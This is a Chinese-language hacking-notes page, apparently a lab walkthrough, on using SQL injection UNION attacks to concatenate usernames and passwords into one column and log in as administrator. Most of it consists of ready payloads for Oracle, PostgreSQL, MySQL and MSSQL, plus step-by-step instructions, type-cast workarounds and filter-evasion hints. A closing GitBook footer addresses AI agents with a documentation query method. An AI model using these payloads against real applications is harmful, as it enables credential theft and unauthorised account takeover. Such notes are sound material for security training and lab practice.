> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/sql-injection/union-attack-to-extract-multiple-values-in-one-column.md).

# 在一列中通过 UNION 攻击提取多个值

### SQL 注入 UNION 攻击：在单个列中检索多个值

**目标：** 恢复 `username` 和 `密码` 拼接到单个列中，然后在 `administrator`.

#### （1）快速前提

* 了解 **列数** 由查询返回的（见 `ORDER BY` / `UNION NULL` 测试）。
* 识别响应中返回的是哪些输出列（可见常量）。

#### 2）示例载荷（取决于 DBMS）

> 调整列数（`NULL`/常量）以匹配易受攻击的查询。

* **Oracle / PostgreSQL（通过 `||`拼接）— 典型请求 2 列：**

```sql
' UNION SELECT NULL, username||':'||password FROM users-- -
```

* **MySQL（CONCAT）- 2 列：**

```sql
' UNION SELECT NULL, CONCAT(username, ':', password) FROM users-- -
```

* **MSSQL（CONCAT 或 +）- 2 列：**

```sql
' UNION SELECT NULL, CONCAT(username, ':', password) FROM users-- -
```

或

```sql
' UNION SELECT NULL, username + ':' + password FROM users-- -
```

* **如果原始请求有 3 列（例如）：**

{% code overflow="wrap" %}

```sql
' UNION SELECT NULL, NULL, username||':'||password FROM users-- -    -- Oracle/Postgres
```

{% endcode %}

* **如果类型不兼容** （UNION 错误）：强制转换/类型转换：
  * PostgreSQL： `username::text`
  * MySQL： `CAST(username AS CHAR)`
  * Oracle： `TO_CHAR(username)`

#### 3）简明步骤

1. 确定 `N` 列（`ORDER BY 1..N`).
2. 确认 `UNION SELECT` 替换为 `NULL`/常量。
3. 注入适配于 DBMS 和列数的拼接载荷。
4. 找到 `username:password` 这些行在响应中。
5. 识别 `administrator:...` 条目，并使用这些凭据登录到认证页面。

#### 4）实用说明

* 如果密码是哈希后的（例如 bcrypt），直接用于登录会失败；此时如果允许，你需要破解密码，或者确认密码是以明文存储的（高危安全事件）。
* 如果应用只显示一列，拼接是正确的方法；如果它渲染多列，则优先使用 `UNION SELECT username, password` 以便更清晰。
* 如果 `UNION` 被过滤，尝试在空格/注释或函数（`CONCAT`, `CHR`/`CHAR`）中变化，以绕过过滤器。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/sql-injection/union-attack-to-extract-multiple-values-in-one-column.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.